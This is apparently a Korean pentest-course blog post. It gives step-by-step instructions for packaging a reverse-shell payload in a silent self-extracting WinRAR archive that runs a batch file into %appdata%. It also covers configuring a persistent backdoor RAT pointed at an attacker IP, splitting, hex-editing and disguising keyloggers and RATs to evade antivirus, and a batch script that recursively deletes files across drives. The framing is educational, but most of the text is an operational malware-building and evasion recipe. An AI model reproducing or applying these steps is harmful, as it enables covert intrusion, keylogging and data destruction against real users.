그리고 사일런트 모드 부분에서 [ V ] 모두 숨기기를 체크한다.


이제 모든 설정이 끝나으므로 확인을 선택한다.


Malware 디렉토리에 reverse_test.sfx.exe 파일이 생성되어 있을 것이다.


메모장을 열어서 다음과 같이 입력하고 파일의 이름을 dll.bat 파일로 저장한다.


        \바탕화면\malware\dll.bat 파일의 내용

        reverse_test.sfx.exe -pminecraft -d%appdata%


(주의) 반드시 확장자를 bat로 전환하여야 한다.


다음과 같이 reverse_test.sfx.exe 파일과 dll.bat 파일이 생성 되어 있을 것이다.






이제 두개의 파일(dll.bat, reverse_test.sfx.exe)을 선택하고 다시 WinRAR 실행한다.


왼쪽 부분에 있는 압축 방식을 선택하여 가장 좋음을 선택한다.


오른쪽 부분에 있는 압축 옵션 부분 중 다음과 같은 부분을 선택한다.

[ V ] 자동풀림(SFX) 압축파일 생성

[ V ] 솔리드 압축파일 생성

[ V ] 압축파일 잠금


상단의 고급 탭을 선택하고 오른쪽 하단의 SFX 옵션을 선택한다.

그리고 압축 풀 경로 내용으로 "%appdata%" 입력한다.

그리고 하단의 [ V ] 절대 경로에 생성 부분을 체크 한다. 아직 확인을 선택하지는 않는다.


상단의 업데이트 탭을 선택하고

덮어쓰기 모드 부분에서 [ V ] 모든 파일 덮어쓰기 선택한다. 아직 확인을 선택하지는 않는다.


그리고 설치 탭을 선택하고 압축 푼 후 실행 부분에 dll.bat 라고 입력한다.





상단의 텍스트와 아이콘 탭을 선택하고 하단의 자동 풀림(SFX) 아이콘 파일 부분에서 찾아보기를 선택하고 적당한 아이콘(EX: C:\metasploit\msfgui\metasploit.ico)을 선택한다.


상단의 모드 탭을 선택하고 [ V ] 임시폴더에 풀기를 체크한다.


그리고 하단의 사일런트 모드 부분에서 [ V ] 모두 숨기기를 체크한다.


이제 모든 설정이 끝났으므로 확인을 선택한다. 그럼 Malware.exe 파일이 생성되었을것이다.



이제 이 파일을 virustotal.com 에서 검사하여 보자.






[참고 동영상]

How To Crypt a RAT with Winrar 2016

https://www.youtube.com/watch?v=mL-PqdyuD6Q



RAT(Remote Administrator Tool)

http://www.darkcomet-rat.com/

https://sourceforge.net/directory/os:windows/?q=darkcomet%20rat









[실습7] 파일 쪼개기 툴을 통해 AV 감지 우회 방법(dsplit 사용)



Make a virus Undetectable with hexing

https://www.youtube.com/watch?v=nLcQ-J4rrno


사용하는 툴

- Ardamax Keylogger

- File Spliter


Ardamax Key 다운로드

http://www.ardamax.com/download.html 

(주의) AV 제품을 중지 시키고 받아야 한다. 되도록 VM에서 받도록 한다.


File Spliter 다운로드

http://www.dekabyte.com/filesplitter/download.html

-> 파일이름: TheFileSplitter131.exe



① 준비사항

Ardamax Keylogger 프로그램을 다운로드 받아서 바탕화면의 Malware 디렉토리에 넣는다.

http://www.ardamax.com/download.html 

-> (주의) AV 제품을 중지 시키고 받아야 한다. 되도록 VM에서 받도록 한다.

-> 다운로드 받은 파일이름: setup_akl.zip


그리고 압축을 해제한다. 그럼 setup_akl 디렉토리가 생성이된다.



File Spliter 프로그램을 다운로드 받는다. 그리고 File Spliter 프로그램을 설치한다.

-> http://www.dekabyte.com/filesplitter/download.html

-> 파일이름: TheFileSplitter131.exe

-> 설치시 특별한 옵션은 없다.


② 새로운 폴더를 만든다.


File Spliter 통해 작은 파일로 쪼갠다.


 

 



 

 



 

 



 

 



 

 



How To Make Files Undetectable By Anti Virus

https://www.youtube.com/watch?v=o_qgMcL7s6o



antivirus software에 의해 detect 되는 파일 생성 및 감지 테스트



dsplit 사용하여 큰 파일을 작은 파일로 쪼개어서


dsplit.exe 1 max 10000 SERVUDAEMON.exe






[실습8] msfvenom 사용하는 경우(encoding 사용 방법)


How to make your Keylogger/RAT 100% FUD for Free without crypter

https://www.youtube.com/watch?v=JjxQ7BKfIoM
















[실습 9]Ardamax Keylogger 4.0.3


Key File


Advanced BAT to EXE Converter v2.83(파일이름: advbatto.exe)


Keylogger 프로그램을 설치할려고 하면 설치가 되지 않는다.



virus 제작 방법


virus 탐지 확률 줄이기


virus 숨기는 방법


Make Virus ,Trojan, Keylogger Fully Undetectable 100% With Proof by Scanning With All Antivirus

https://www.youtube.com/watch?v=7akHZgq_hwI









[실습10] 무료 툴을 통한 안티바이러스 감지 우회 방법


Secrets of Hackers How To Make Files Undetectable By Anti Virus

https://www.youtube.com/watch?v=tPGbLlpDfR0


파일이름: SSC.exe


















[실습11]



[참고 동영상]

How to hide your Virus, RAT or KeyLogger on a .PNG or .mp4 file

https://www.youtube.com/watch?v=kCqVS87Gepo#t=9.651667


사용시스템

- Windows 7


사용 툴

- Hex Workshop Hex Editor v6.8.0


프로그램 다운로드

- hexworkshop.com


Hex Workshop Hex Editor 다운로드 및 설치



virus을 숨기는 방법

RAT or KEYLOGGER extension 속이기


예) sqlidumper.exe -> .jpg or .png or .bat 등의 여러가지로


① download Hex Workshop

http://hexworkshop.com

- Hex Workshop Hex Editor v6.8.0 다운로드


② 설치 및 실행


③ 다양한 종류의 virus를 RAT(.rar) 형식으로 변환






RAT 설정










메모장에서

DEL C:\".3GP /s

DEL D:\".3GP /s

DEL E:\".3GP /s

DEL F:\".3GP /s

DEL G:\".3GP /s

DEL H:\".3GP /s

DEL I:\".3GP /s

DEL C:\Delbat.bat





악성 코드 제작 하기


목적

악성 코드를 제작해 보고 우리가 제작한 악성코드가 안티바이러스 제품 중 어떤 제품에 의해서 검출되는지 확인한다.

또한 encoding 등 여러가지 과정을 거쳐서 안티바이러스 제품이 검출율이 떨어지도록 구성해 본다.


사용 운영체제

Windows 7 64bit SP1   : Attacker

Windows 2008 R2 64bit : Victim


사용 도구

Dark Connect v3.4 : backdoor.exe 파일 제작

Power Merger v1.2 : 파일 병합

Simply Icon v1.1  : 아이콘 제작

Res Hacker v3.4.0 : 아이콘 변경



(1) backdoor.exe 파일 생성


Dark Connect 프로그램 다운로드

http://eagleshoweagle.wix.com/dark-connect-rat


Dark Connect 프로그램 설치


Dark Connect 프로그램 실행



 Setting

        IP \ Host : 공격자 IP

        Port : 포트번호

        Target PC : ■ Check □ Uncheck

        User Name : 이름

        Install Folder : "C: \Users \[$사용자명] \Appdata\Roaming \"입                 력한 폴더명""

        Install EXE : "C: \Users \[$사용자명] \Appdata\Roaming \"입력한                         폴더명"\"입력한파일명”"

        Mutex : 프로세스 중복 실행 방지

 Extra Options

        EXE Hide : 첫 실행 후 자동 숨김 파일 변경 유무

        Folder Hide : 첫 실행 후 자동 숨김 폴더 변경 유무

        Sleep(Sec) : 대기시간(초)

 StartUp

        Registry : 시작프로그램 등록 유무

        Copy : 복사 유무

        Shortcup : 바로가기 유무

 Options

           Aplly : 변경사항 적용

                Build : 악성코드파일 생성


(2) 파일 병합


PowerMerger 프로그램 다운로드


PowerMerger 프로그램 설치


PowerMerger 프로그램 실행



Fils to be merged

        1st : 병합할 첫 번째 파일

        2st : 병합할 두 번째 파일

 After execution

        do nothing : 아무것도 하지 않는다.

        delete file : 파일을 지운다.

        replace with 1st file : 첫 번째 파일에 덮어씌운다.

        replace with 2nd file : 두 번째 파일에 덮어씌운다.

Merge! : 병합파일 생성



(3) 아이콘 추출





(4) 아이콘 변경






















'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160901 프로젝트#5  (0) 2016.09.07
20160831 파일업로드 취약점  (0) 2016.09.01
20160830 XML, CRLF, XSS Injection  (0) 2016.08.31
20160829 SQL Injection & XML Injection  (0) 2016.08.29
20160826 웹보안  (0) 2016.08.27
Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함